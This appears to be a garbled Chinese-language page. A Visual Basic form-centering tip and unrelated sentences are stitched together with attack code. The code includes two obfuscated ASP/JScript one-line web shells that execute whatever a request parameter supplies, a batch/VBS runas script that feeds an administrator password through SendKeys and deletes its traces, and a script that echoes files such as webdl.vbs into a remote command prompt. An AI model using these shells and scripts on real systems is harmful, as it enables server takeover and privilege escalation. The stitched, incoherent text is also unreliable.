共有二种方法方法1:VB3/VB4之版本，可于Form_Load()程序中加入下列程式码：Me.Move(Screen.Width-Width)\2,(Screen.Height-Height)\2方法2:VB5以上之版本，则直接将Form之StartUpPosition设成(2-荧幕中央)即可->

<scriptlanguage=vbsrunat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) FunctionHextoStr(data) HextoStr="EXECUTE""""" C="&CHR(&H" N=")" DoWhileLen(data)>1 IfIsNumeric(Left(data,1))Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) EndIf Loop EndFunction </script> <SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode( 116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1 04,40,101,41,123,125))</SCRIPt> 接下来的问题不太好用书面形式进行表述

DOWN ARROW {DOWN}随着多媒体技术的迅速发展，管理信息系统中不可避免地出现了表格、图形、图像、声音、动画等非结构化数据

如果开关为开，就将其关闭；如果开关为关，就将其打开->

@echo off echo dim WshShell,cmd >> %3runas.vbs echo cmd="%SystemRoot%\system32\cmd.exe" >> %3runas.vbs echo Set WshShell=WScript.CreateObject("WScript.Shell") >> %3runas.vbs echo WshShell.Run cmd >> %3runas.vbs echo WScript.Sleep 500 >> %3runas.vbs echo WshShell.SendKeys"runas /user:Administrators\%1 %3Bcmd.bat" >> %3runas.vbs echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs echo WScript.Sleep 1000 >> %3runas.vbs echo WshShell.SendKeys"%2" >> %3runas.vbs echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs echo WScript.Sleep 500 >> %3runas.vbs echo WshShell.SendKeys"exit" >> %3runas.vbs echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs echo @echo off >> %3Bcmd.bat echo %4 %5 %6 %7 %8 %9 >> %3Bcmd.bat echo del %3runas.vbs >> %3Bcmd.bat echo del %3Bcmd.bat >> %3Bcmd.bat %3\runas.vbs 以上保存为BAT 以上保存为VBS Runas 只有在通过自动登陆读到密码时才有用ssr一键部署最　　（4）怎样得到完整的API函数声明　　VB自带了API文本查看器APITEXTVIEWER，我们可以在其中找到API函数的完整声明，然后把它粘贴到程序中即可OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit '------------------- 'Enjoyit 'CodeByNetPatch '------------------- fname=InputBox("请输入要ECHO的路径):","输入文件名","%systemroot%/system32/webdl.vbs") SetFso=CreateObject("Scripting.FileSystemObject") SetWshShell=Wscript.CreateObject("Wscript.Shell") SetFile=Fso.OpenTextFile(Arg(0),1,False,-2) Wscript.echo"点确定后5秒开始" WshShell.AppActivate"命令提示符" Wscript.Sleep5000 WshShell.AppActivate"命令提示符" DoWhileFile.AtEndOfStream<>True Data=File.readline IfData=""thenData="." Data=replace(Data,"^","{^}{^}") Data=replace(Data,"~","{^}{~}") Data=replace(Data,"&","{^}{&}") Data=replace(Data,"|","{^}{|}") Data=replace(Data,"<","{^}{<}") Data=replace(Data,">","{^}{>}") Data=replace(Data,"""","{^}") Data=replace(Data,"(","{(}") Data=replace(Data,")","{)}") Data=replace(Data,chr(9),"") WshShell.SendKeys"echo"&Data&">>"&fname Wscript.Sleep300 WshShell.SendKeys"{ENTER}" Wscript.Sleep1000 Loop File.close SetFso=nothing 。